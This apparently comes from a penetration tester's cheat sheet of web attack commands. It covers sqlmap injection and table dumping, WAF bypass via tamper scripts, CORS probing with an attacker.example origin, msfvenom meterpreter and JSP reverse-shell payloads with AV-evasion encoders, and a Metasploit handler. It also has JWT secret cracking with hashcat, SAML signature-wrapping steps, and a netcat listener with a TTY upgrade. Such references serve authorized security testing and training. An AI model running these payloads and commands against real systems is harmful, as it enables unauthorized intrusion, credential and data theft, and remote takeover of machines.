Web testing tools
Questi contenuti non sono ancora disponibili nella tua lingua.
Commands distilled from the web notes. Full context in the matching notes.
sqlmap
Section titled “sqlmap”sqlmap -r request.txt -p id --batch --level 3 --risk 2 --dbms sqlitesqlmap -u "https://<target>" --cookie="TrackingId=xyz" -p TrackingId --batchsqlmap -u "https://<target>/login" --data="username=admin&password=test" --batchEnumeration workflow
Section titled “Enumeration workflow”sqlmap -r request.txt --dbssqlmap -r request.txt -D <dbname> --tablessqlmap -r request.txt -D <dbname> -T users --columnssqlmap -r request.txt -D <dbname> -T users --dumpsqlmap -r request.txt -D <dbname> -T users --dump --where="role='admin'"Key flags
Section titled “Key flags”| Flag | Purpose |
|---|---|
-r request.txt |
Saved HTTP request (headers and cookies exact) |
-p id |
Target one parameter |
--level 3 --risk 2 |
More injection points and aggressive payloads |
--dbms postgresql |
Skip fingerprinting, go straight to the right dialect |
--technique=BT |
Boolean + Time only (quieter) |
--batch |
Non-interactive, accept defaults |
--threads 10 |
Parallel requests (faster, noisier) |
--random-agent |
Randomize User-Agent |
--delay 1 |
Wait between requests (stealthier) |
WAF bypass with tamper scripts
Section titled “WAF bypass with tamper scripts”sqlmap -r request.txt --tamper=space2comment,randomcasesqlmap -r request.txt --tamper=space2hash,charencodecurl for CORS probing
Section titled “curl for CORS probing”curl -sI https://<target>/api/endpoint \ -H "Origin: https://attacker.example" \ | grep -i "access-control-allow-"curl -s https://<target>/api/me \ -H "Origin: https://attacker.example" \ -H "Cookie: session=<value>" \ | head -20Quick utility servers
Section titled “Quick utility servers”python3 -m http.server 8080python3 -c "import http.server, ssls = http.server.HTTPServer(('0.0.0.0',443), http.server.SimpleHTTPRequestHandler)s.socket = ssl.wrap_socket(s.socket, certfile='cert.pem', server_side=True)s.serve_forever()"php -S 0.0.0.0:8080msfvenom payloads
Section titled “msfvenom payloads”msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=<attacker-ip> LPORT=4444 \ -f pdf -o payload.pdfmsfvenom -p windows/meterpreter/reverse_tcp \ LHOST=<ip> LPORT=4444 -f exe -o shell.exemsfvenom -p java/jsp_shell_reverse_tcp \ LHOST=<ip> LPORT=4444 -f war -o shell.war| Flag | Purpose |
|---|---|
-p <payload> |
Payload module |
-f <format> |
Output format (pdf, exe, raw, war, ps1, python) |
-o <file> |
Output filename |
-e <encoder> |
Encoder for AV evasion (e.g. x86/shikata_ga_nai) |
-i <count> |
Encoder iterations |
LHOST / LPORT |
Listener address and port |
msfconsole handler
Section titled “msfconsole handler”msfconsole -quse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST <attacker-ip>set LPORT 4444exploitFull context in the malicious file upload note.
hashcat (JWT brute-force)
Section titled “hashcat (JWT brute-force)”hashcat -a 0 -m 16500 "eyJhbGciOiJIUzI1NiJ9.eyJzdWIi..." /usr/share/wordlists/rockyou.txt| Flag | Purpose |
|---|---|
-a 0 |
Dictionary attack |
-m 16500 |
JWT (HS256 / HS384 / HS512) |
--show |
Display cracked secret after the run |
If the secret is found in under 30 seconds it is weak. Generate forged tokens with Python PyJWT or jwt.io.
Burp extensions for specific vulns
Section titled “Burp extensions for specific vulns”| Extension | Vuln class | Key action |
|---|---|---|
| SAML Raider | SAML SSO | Decode SAMLResponse, remove signatures, XSW attacks (XSW1–8), re-sign with own cert |
| JWT Editor | JWT auth | Decode/modify/sign JWTs directly in Repeater; generate RSA keys for JWK injection |
| Param Miner | Cache poisoning | Guess unkeyed headers and parameters; auto-adds cache buster |
| Logger++ | Info disclosure | Advanced filtering and grep across all traffic |
SAML Raider workflow
Section titled “SAML Raider workflow”- Find the POST with
SAMLResponse→ Send to Repeater - Open the SAML Raider tab → XML is decoded
- Change
<NameID>to the target user - Try: send as-is (Test 1) → Remove Signatures (Test 2) → XSW dropdown (Test 3) → Re-Sign with own cert (Test 4)
- Each test needs a fresh token (SAML tokens expire in ~5 min)
Burp Suite workflow
Section titled “Burp Suite workflow”| Action | Shortcut / path |
|---|---|
| Send to Repeater | Ctrl+R |
| Send to Intruder | Ctrl+I |
| Generate CSRF PoC | Engagement tools > Generate CSRF PoC |
| Match and Replace (add header) | Proxy > Options > Match and Replace |
| Copy as curl | Right-click request > Copy as curl command |
Netcat listeners
Section titled “Netcat listeners”nc -lvnp 4444python3 -c 'import pty;pty.spawn("/bin/bash")'# then Ctrl+Zstty raw -echo; fgexport TERM=xterm364 parole, circa 2 min di lettura